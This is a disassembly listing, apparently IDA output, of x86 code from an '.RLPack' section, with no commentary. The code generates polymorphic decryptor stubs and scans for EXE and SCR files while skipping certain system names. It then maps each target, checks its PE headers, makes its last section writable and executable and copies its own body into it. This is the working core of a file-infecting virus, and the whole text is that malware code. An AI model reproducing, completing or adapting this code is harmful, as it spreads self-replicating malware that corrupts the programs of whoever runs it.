		mov	[ebp+40399Eh], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_43B6F8
		mov	al, 20h
		call	sub_43B511
		jecxz	short loc_43B87D
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, [ebp+403431h]
		not	edx
		test	edx, 3
		jnz	short loc_43B870
		call	sub_43B6F8
		mov	al, 1Fh
		call	sub_43B511
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_43B870:				; CODE XREF: .RLPack:0043B85Aj
		mov	ecx, edi
		mov	eax, [ebp+40399Eh]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_43B87D:				; CODE XREF: .RLPack:0043B781j
					; .RLPack:0043B81Cj ...
		test	dword ptr [ebp+403431h], 4
		jz	short loc_43B89B
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_43B89B:				; CODE XREF: .RLPack:0043B887j
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_43B8F1
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_43B8F1
		mov	eax, 0C9291829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, [ebp+40342Bh]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr [ebp+403431h], 10h
		jz	short loc_43B8EF
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_43B8EF:				; CODE XREF: .RLPack:0043B8E6j
		stosw


loc_43B8F1:				; CODE XREF: .RLPack:0043B8A5j
					; .RLPack:0043B8AEj
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	[ebp+403982h], edi
		test	dword ptr [ebp+403431h], 20h
		jnz	short loc_43B912
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb


loc_43B912:				; CODE XREF: .RLPack:0043B907j
		mov	ax, 0C081h
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43B925
		add	ah, 28h


loc_43B925:				; CODE XREF: .RLPack:0043B920j
		or	ah, [ebp+403429h]
		stosw
		mov	dword ptr ss:loc_403986[ebp], edi
		stosd
		test	dword ptr [ebp+403431h], 40000000h
		jnz	short loc_43B949
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_43B949:				; CODE XREF: .RLPack:0043B93Ej
		test	dword ptr [ebp+403431h], 80h
		jnz	short loc_43B960
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342A[ebp]
		stosb
		jmp	short loc_43B99D
; ---------------------------------------------------------------------------


loc_43B960:				; CODE XREF: .RLPack:0043B953j
		mov	ax, 1831h
		test	dword ptr [ebp+403431h], 100h
		jz	short loc_43B972
		mov	al, 29h


loc_43B972:				; CODE XREF: .RLPack:0043B96Ej
		or	ah, byte ptr ss:loc_40342A[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+403431h], 200h
		jnz	short loc_43B995
		mov	ah, 0C8h


loc_43B995:				; CODE XREF: .RLPack:0043B991j
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw


loc_43B99D:				; CODE XREF: .RLPack:0043B95Ej
		mov	[ebp+4039A2h], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr [ebp+403431h], 8
		jz	short loc_43BA21
		test	dword ptr [ebp+403431h], 400h
		jnz	short loc_43B9CC
		mov	al, 0B8h
		or	al, [ebp+40342Bh]
		stosb
		jmp	short loc_43BA19
; ---------------------------------------------------------------------------


loc_43B9CC:				; CODE XREF: .RLPack:0043B9BFj
		test	dword ptr [ebp+403431h], 800h
		jnz	short loc_43B9E9
		mov	ax, 0E083h
		or	ah, [ebp+40342Bh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_43B9FE
; ---------------------------------------------------------------------------


loc_43B9E9:				; CODE XREF: .RLPack:0043B9D6j
		mov	ax, 1829h
		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosw


loc_43B9FE:				; CODE XREF: .RLPack:0043B9E7j
		test	dword ptr [ebp+403431h], 1000h
		mov	ax, 0C081h
		jz	short loc_43BA11
		add	ah, 8


loc_43BA11:				; CODE XREF: .RLPack:0043BA0Cj
		or	ah, [ebp+40342Bh]
		stosw


loc_43BA19:				; CODE XREF: .RLPack:0043B9CAj
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_43BA21:				; CODE XREF: .RLPack:0043B9B3j
		test	dword ptr [ebp+403431h], 40000000h
		jz	short loc_43BA36
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_43BA36:				; CODE XREF: .RLPack:0043BA2Bj
		test	dword ptr [ebp+403431h], 2000h
		mov	al, 86h
		jnz	short loc_43BA46
		add	al, 4


loc_43BA46:				; CODE XREF: .RLPack:0043BA42j
		lea	ecx, [edi-2]
		mov	ah, [ebp+403429h]
		mov	dword ptr ss:loc_40398A[ebp], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_43BA63
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_43BA63:				; CODE XREF: .RLPack:0043BA5Aj
		test	dword ptr [ebp+403431h], 4000h
		mov	ax, 3166h
		jnz	short loc_43BA75
		mov	ah, 29h


loc_43BA75:				; CODE XREF: .RLPack:0043BA71j
		stosw
		mov	al, 18h
		or	al, [ebp+40342Bh]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr [ebp+403431h], 8000h
		jnz	short loc_43BA93
		mov	al, 86h


loc_43BA93:				; CODE XREF: .RLPack:0043BA8Fj
		mov	ah, [ebp+403429h]
		stosw
		cmp	ah, 5
		jnz	short loc_43BAA7
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_43BAA7:				; CODE XREF: .RLPack:0043BA9Ej
		test	dword ptr [ebp+403431h], 10000h
		jnz	short loc_43BABE
		mov	al, 40h
		or	al, [ebp+403429h]
		stosb
		jmp	short loc_43BACD
; ---------------------------------------------------------------------------


loc_43BABE:				; CODE XREF: .RLPack:0043BAB1j
		mov	ax, 0C083h
		or	ah, [ebp+403429h]
		stosw
		mov	al, 1
		stosb


loc_43BACD:				; CODE XREF: .RLPack:0043BABCj
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_43BB08
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_43BAFF
		mov	al, 0C0h
		or	al, [ebp+40342Bh]
		mov	ah, [ebp+403430h]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_43BB07
; ---------------------------------------------------------------------------


loc_43BAFF:				; CODE XREF: .RLPack:0043BAE3j
		mov	al, 40h
		or	al, [ebp+40342Bh]


loc_43BB07:				; CODE XREF: .RLPack:0043BAFDj
		stosb


loc_43BB08:				; CODE XREF: .RLPack:0043BAD7j
		test	dword ptr [ebp+403431h], 80000h
		jnz	short loc_43BB24
		mov	ax, 0E883h
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		mov	al, 1
		jmp	short loc_43BB2C
; ---------------------------------------------------------------------------


loc_43BB24:				; CODE XREF: .RLPack:0043BB12j
		mov	al, 48h
		or	al, byte ptr ss:loc_40342A[ebp]


loc_43BB2C:				; CODE XREF: .RLPack:0043BB22j
		stosb
		test	dword ptr [ebp+403431h], 100000h
		mov	cl, 75h
		jnz	short loc_43BB60
		mov	ax, 0F883h
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		xor	eax, eax
		stosb
		sub	dword ptr ss:loc_40398A[ebp], edi
		test	dword ptr [ebp+403431h], 200000h
		jnz	short loc_43BB7B
		mov	cl, 77h
		jmp	short loc_43BB7B
; ---------------------------------------------------------------------------


loc_43BB60:				; CODE XREF: .RLPack:0043BB39j
		mov	ax, 1809h
		or	ah, byte ptr ss:loc_40342A[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		sub	dword ptr ss:loc_40398A[ebp], edi


loc_43BB7B:				; CODE XREF: .RLPack:0043BB5Aj
					; .RLPack:0043BB5Ej
		mov	al, cl
		mov	ah, byte ptr ss:loc_40398A[ebp]
		stosw
		mov	al, 58h
		add	al, [ebp+403429h]
		stosb
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_43BC25
		mov	eax, 268B6467h
		mov	ecx, [ebp+403431h]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_43BBBC
		mov	eax, 2E876467h


loc_43BBBC:				; CODE XREF: .RLPack:0043BBB5j
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_43BBCC
		mov	ax, 0E58Bh
		stosw


loc_43BBCC:				; CODE XREF: .RLPack:0043BBC4j
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr [ebp+403431h], 1000000h
		jnz	short loc_43BC22
		test	dword ptr [ebp+403431h], 8000000h
		jz	short loc_43BC14
		mov	ax, 6C8Dh
		test	dword ptr [ebp+403431h], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_43BC0F
		mov	ax, 424h
		stosw
		jmp	short loc_43BC22
; ---------------------------------------------------------------------------


loc_43BC0F:				; CODE XREF: .RLPack:0043BC05j
		mov	al, 8
		stosb
		jmp	short loc_43BC22
; ---------------------------------------------------------------------------


loc_43BC14:				; CODE XREF: .RLPack:0043BBECj
		mov	ax, 5D58h
		add	al, [ebp+40342Bh]
		stosw
		jmp	short loc_43BC25
; ---------------------------------------------------------------------------


loc_43BC22:				; CODE XREF: .RLPack:0043BBE0j
					; .RLPack:0043BC0Dj ...
		mov	al, 0C9h
		stosb


loc_43BC25:				; CODE XREF: .RLPack:0043BB98j
					; .RLPack:0043BC20j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43BC51
		mov	al, 7
		sub	al, [ebp+403429h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+403429h]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_43BC51:				; CODE XREF: .RLPack:0043BC2Fj
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]
		stosw
		test	dword ptr [ebp+403431h], 20h
		jz	short loc_43BCBC
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_43BC82


loc_43BC75:				; CODE XREF: .RLPack:0043BC80j
		test	edi, 3
		jz	short loc_43BC82
		mov	al, 90h
		stosb
		jmp	short loc_43BC75
; ---------------------------------------------------------------------------


loc_43BC82:				; CODE XREF: .RLPack:0043BC73j
					; .RLPack:0043BC7Bj
		mov	eax, edi
		mov	ecx, [ebp+403982h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb
		test	dword ptr [ebp+403431h], 400000h
		jz	short loc_43BCB0
		mov	ax, 0C350h
		or	al, [ebp+403429h]
		jmp	short loc_43BCBA
; ---------------------------------------------------------------------------


loc_43BCB0:				; CODE XREF: .RLPack:0043BCA2j
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]


loc_43BCBA:				; CODE XREF: .RLPack:0043BCAEj
		stosw


loc_43BCBC:				; CODE XREF: .RLPack:0043BC67j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_43BD3B
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_43BCE1


loc_43BCD4:				; CODE XREF: .RLPack:0043BCDFj
		test	edi, 3
		jz	short loc_43BCE1
		mov	al, 90h
		stosb
		jmp	short loc_43BCD4
; ---------------------------------------------------------------------------


loc_43BCE1:				; CODE XREF: .RLPack:0043BCD2j
					; .RLPack:0043BCDAj
		mov	ecx, edi
		mov	eax, [ebp+40399Ah]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+403431h], 800000h
		jnz	short loc_43BD0A
		lea	eax, [ebp+403429h]


loc_43BD02:				; CODE XREF: .RLPack:0043BD08j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_43BD02


loc_43BD0A:				; CODE XREF: .RLPack:0043BCFAj
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_43BD1F
		mov	ax, 0C031h
		stosw


loc_43BD1F:				; CODE XREF: .RLPack:0043BD17j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_43BD38
		mov	ax, 0C031h
		stosw


loc_43BD38:				; CODE XREF: .RLPack:0043BD30j
		mov	al, 0C3h
		stosb


loc_43BD3B:				; CODE XREF: .RLPack:0043BCC6j
		lea	eax, [ebp+40343Ch]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_43BD53
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_43BD6C
; ---------------------------------------------------------------------------


loc_43BD53:				; CODE XREF: .RLPack:0043BD4Bj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+4039A2h]
		add	[ebp+403982h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_43BD6C:				; CODE XREF: .RLPack:0043BD51j
		mov	[ebp+40106Dh], edi
		mov	edi, dword ptr ss:loc_403986[ebp]
		sub	eax, [ebp+403982h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43BD8C
		neg	eax


loc_43BD8C:				; CODE XREF: .RLPack:0043BD88j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_43BD90	proc near		; CODE XREF: sub_43C1BC+2A8p
		push	esi
		push	edi
		cmp	dword ptr [ebp+4039AEh], 0
		jz	loc_43BF78
		call	near ptr loc_43BDB0+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_43BDB0:				; CODE XREF: sub_43BD90+Fp
		add	bh, bh
sub_43BD90	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_43B4CA
		mov	edx, [ebp+4039A6h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_43B4CA
		mov	edi, [ebp+4039A6h]
		push	esi
		call	sub_43B4CA
		mov	edx, [ebp+4039A6h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_43BF78
		jz	loc_43BF78
		add	esi, dword ptr ss:loc_4039AA[ebp]
		add	esi, dword ptr ss:loc_403972[ebp]
; START	OF FUNCTION CHUNK FOR sub_43BF49


loc_43BE2A:				; CODE XREF: sub_43BF49+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_43BED5
		lea	eax, [esi+4]
		sub	eax, dword ptr ss:loc_403972[ebp]
		add	eax, [esi]
		push	eax
		call	sub_43B4CA
		cmp	dword ptr [ebp+4039A6h], 0
		jnz	short loc_43BE58
		cmp	eax, [edi+0Ch]
		jnb	loc_43BF71
		jmp	short loc_43BE64
; ---------------------------------------------------------------------------


loc_43BE58:				; CODE XREF: sub_43BF49-FEj
		cmp	[ebp+4039A6h], edx
		jnz	loc_43BF71


loc_43BE64:				; CODE XREF: sub_43BF49-F3j
		add	eax, dword ptr ss:loc_403972[ebp]
		cmp	word ptr [eax],	25FFh
		jnz	loc_43BF71
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_43B4CA
		cmp	[ebp+4039A6h], edi
		jnz	loc_43BF71
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, dword ptr ss:loc_403972[ebp]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_43BF71
		cmp	eax, [edi+8]
		jnb	loc_43BF71


loc_43BEAD:				; CODE XREF: sub_43BF49+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, dword ptr ss:loc_403972[ebp]
		push	edx
		push	eax
		push	dword ptr ss:loc_4039BE[ebp]
		call	dword ptr [ebp+403548h]
		pop	edx
		test	eax, eax
		jnz	loc_43BF87
		jmp	loc_43BF71
; ---------------------------------------------------------------------------


loc_43BED5:				; CODE XREF: sub_43BF49-11Cj
		cmp	al, 0FFh
		jnz	loc_43BF71
		cmp	byte ptr [esi],	15h
		jnz	loc_43BF71
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_43B4CA
		cmp	[ebp+4039A6h], edi
		jnz	short loc_43BF71
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, dword ptr ss:loc_403972[ebp]
		mov	[ebp+4039CAh], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_43BF1E
		cmp	eax, [ebp+4039C6h]
		jb	short loc_43BF87


loc_43BF1E:				; CODE XREF: sub_43BF49-35j
		cmp	eax, 70000000h
		jb	short loc_43BF5C
		call	sub_43BF49
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+4039CAh]
		jnz	short locret_43BF48
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_43BF63
; ---------------------------------------------------------------------------

locret_43BF48:				; CODE XREF: sub_43BF49-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_43BF49

; =============== S U B	R O U T	I N E =======================================



sub_43BF49	proc near		; CODE XREF: sub_43BF49-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0043BE2A SIZE 0000011F BYTES

		pop	dword ptr [ebp+403992h]
		pusha
		mov	esi, dword ptr ss:loc_403972[ebp]
		call	sub_43B5D1
		popa


loc_43BF5C:				; CODE XREF: sub_43BF49-26j
		test	eax, 80000000h
		jnz	short loc_43BF71


loc_43BF63:				; CODE XREF: sub_43BF49-3j
		sub	eax, [edi+0Ch]
		jb	short loc_43BF71
		cmp	eax, [edi+8]
		jb	loc_43BEAD


loc_43BF71:				; CODE XREF: sub_43BF49-F9j
					; sub_43BF49-EBj ...
		dec	ecx
		jnz	loc_43BE2A


loc_43BF78:				; CODE XREF: sub_43BD90+9j
					; .RLPack:0043BE12j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_43BFC3
; ---------------------------------------------------------------------------


loc_43BF87:				; CODE XREF: sub_43BF49-7Fj
					; sub_43BF49-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+4039AEh]
		lea	edi, [ecx+2435h]
		add	eax, dword ptr ss:loc_403972[ebp]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_43BFC3:				; CODE XREF: sub_43BF49+3Cj
		pop	edi
		pop	esi
		retn
sub_43BF49	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43BFC6	proc near		; CODE XREF: .RLPack:0043C194p
					; sub_43C1BC+127p
		lea	esi, loc_40384E[ebp]
		push	esi
		call	dword ptr [ebp+40357Ch]
		cmp	eax, 0FFFFFFFFh
		jz	locret_43C097
		mov	[ebp+403952h], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_43C097
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43C54F
		mov	[ebp+403956h], eax
		lea	ecx, loc_40395A[ebp]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43C543
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43C543
		mov	[ebp+40396Ah], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+403560h]
		test	eax, eax
		jz	loc_43C543
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr ss:loc_4035A0[ebp]
		test	eax, eax
		jz	loc_43C51B
		mov	dword ptr ss:loc_403972[ebp], eax

locret_43C097:				; CODE XREF: sub_43BFC6+10j
					; sub_43BFC6+27j ...
		retn
sub_43BFC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C098	proc near		; CODE XREF: sub_43C1BC+117p
					; sub_43C1BC+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_43C0B2
		add	eax, [ebp+40106Dh]


loc_43C0B2:				; CODE XREF: sub_43C098+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:loc_40397A[ebp], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_43C098	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C0DD	proc near		; CODE XREF: sub_43C1BC:loc_43C20Bp
					; sub_43C1BC+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_43C0E2:				; CODE XREF: sub_43C0DD+23j
		jecxz	short locret_43C119
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_43C119
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_43C0E2
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+40396Ah]

locret_43C119:				; CODE XREF: sub_43C0DD:loc_43C0E2j
					; sub_43C0DD+1Dj ...
		retn
sub_43C0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C11A	proc near		; CODE XREF: .RLPack:0043C1A6p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_43C11A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43C127:				; CODE XREF: .RLPack:0043C148j
		mov	ecx, edi
		jmp	short loc_43C136
; ---------------------------------------------------------------------------
		lea	edi, loc_40384E[ebp]
		cld


loc_43C132:				; CODE XREF: .RLPack:0043C144j
		mov	ebx, edi
		xor	ecx, ecx


loc_43C136:				; CODE XREF: .RLPack:0043C129j
					; .RLPack:0043C14Cj
		lodsb
		cmp	al, 61h
		jb	short loc_43C141
		cmp	al, 7Ah
		ja	short loc_43C141
		sub	al, 20h


loc_43C141:				; CODE XREF: .RLPack:0043C139j
					; .RLPack:0043C13Dj
		stosb
		cmp	al, 5Ch
		jz	short loc_43C132
		cmp	al, 2Eh
		jz	short loc_43C127
		cmp	al, 0
		jnz	short loc_43C136
		jecxz	short locret_43C119
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_43C164
		cmp	eax, 524353h
		jnz	locret_43C097


loc_43C164:				; CODE XREF: .RLPack:0043C157j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_43C097
		cmp	eax, 4E554357h
		jz	locret_43C097
		cmp	eax, 32334357h
		jz	locret_43C097
		cmp	eax, 4F545350h
		jz	locret_43C097
		xor	ebx, ebx
		call	sub_43BFC6
		jz	locret_43C097
		xor	edx, edx
		call	sub_43C1BC
		call	sub_43C11A
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_43C4F9

; =============== S U B	R O U T	I N E =======================================



sub_43C1BC	proc near		; CODE XREF: .RLPack:0043C1A1p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_43C4F9
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_43C4F9
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_43C4F9
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_43C4F9
		jecxz	short loc_43C20B
		cmp	ecx, 101h
		jbe	loc_43C4F9


loc_43C20B:				; CODE XREF: sub_43C1BC+41j
		call	sub_43C0DD
		jb	loc_43C4F9
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_43AD15
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	[ebp+403430h], dh


loc_43C235:				; CODE XREF: sub_43C1BC+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_43C250
		call	sub_43AD15
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+403431h], edx
		jmp	short loc_43C235
; ---------------------------------------------------------------------------


loc_43C250:				; CODE XREF: sub_43C1BC+7Ej
					; sub_43C1BC+CDj ...
		push	6
		pop	ecx


loc_43C256:				; CODE XREF: sub_43C1BC+B8j
		push	6
		pop	eax
		call	sub_43AD15
		mov	al, [ebp+403429h]
		xchg	al, [edx+ebp+403429h]
		mov	[ebp+403429h], al
		loop	loc_43C256
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_43C28B
		cmp	byte ptr [ebp+40342Bh],	1
		jz	short loc_43C250


loc_43C28B:				; CODE XREF: sub_43C1BC+C4j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_43C2B2
		cmp	byte ptr [ebp+403429h],	5
		jz	short loc_43C250
		cmp	byte ptr ss:loc_40342A[ebp], 5
		jz	short loc_43C250
		cmp	byte ptr [ebp+40342Bh],	5
		jz	short loc_43C250


loc_43C2B2:				; CODE XREF: sub_43C1BC+D9j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43C2C7
		cmp	byte ptr [ebp+403429h],	2
		ja	short loc_43C250


loc_43C2C7:				; CODE XREF: sub_43C1BC+100j
		and	dword ptr [ebp+4039AEh], 0
		call	loc_43B762
		call	sub_43C098
		call	sub_43C502
		mov	ebx, [ebp+403976h]
		call	sub_43BFC6
		jz	loc_43C4F9
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_43C0DD
		jb	loc_43C4F9
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_43C32F
		lea	esi, [ebp+40343Ch]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_43C32F:				; CODE XREF: sub_43C1BC+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_43C343
		rep movsb


loc_43C343:				; CODE XREF: sub_43C1BC+183j
		test	dword ptr [ebp+403431h], 10000000h
		jz	loc_43C3FB
		push	dword ptr [ebx+28h]
		call	sub_43B4CA
		mov	edx, [ebp+4039A6h]
		test	edx, edx
		jz	loc_43C3FB
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_43C380
		xor	ecx, ecx


loc_43C380:				; CODE XREF: sub_43C1BC+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_43C3E7
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, dword ptr ss:loc_403986[ebp]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43C3C0
		neg	dword ptr [eax]


loc_43C3C0:				; CODE XREF: sub_43C1BC+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+4039AEh], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43C3DE
		neg	dword ptr [eax]


loc_43C3DE:				; CODE XREF: sub_43C1BC+21Ej
		push	ecx
		call	sub_43C098
		pop	ecx
		jmp	short loc_43C3F3
; ---------------------------------------------------------------------------


loc_43C3E7:				; CODE XREF: sub_43C1BC+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_43C3F3:				; CODE XREF: sub_43C1BC+229j
		lea	esi, [ebp+40343Ch]
		rep movsb


loc_43C3FB:				; CODE XREF: sub_43C1BC+191j
					; sub_43C1BC+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
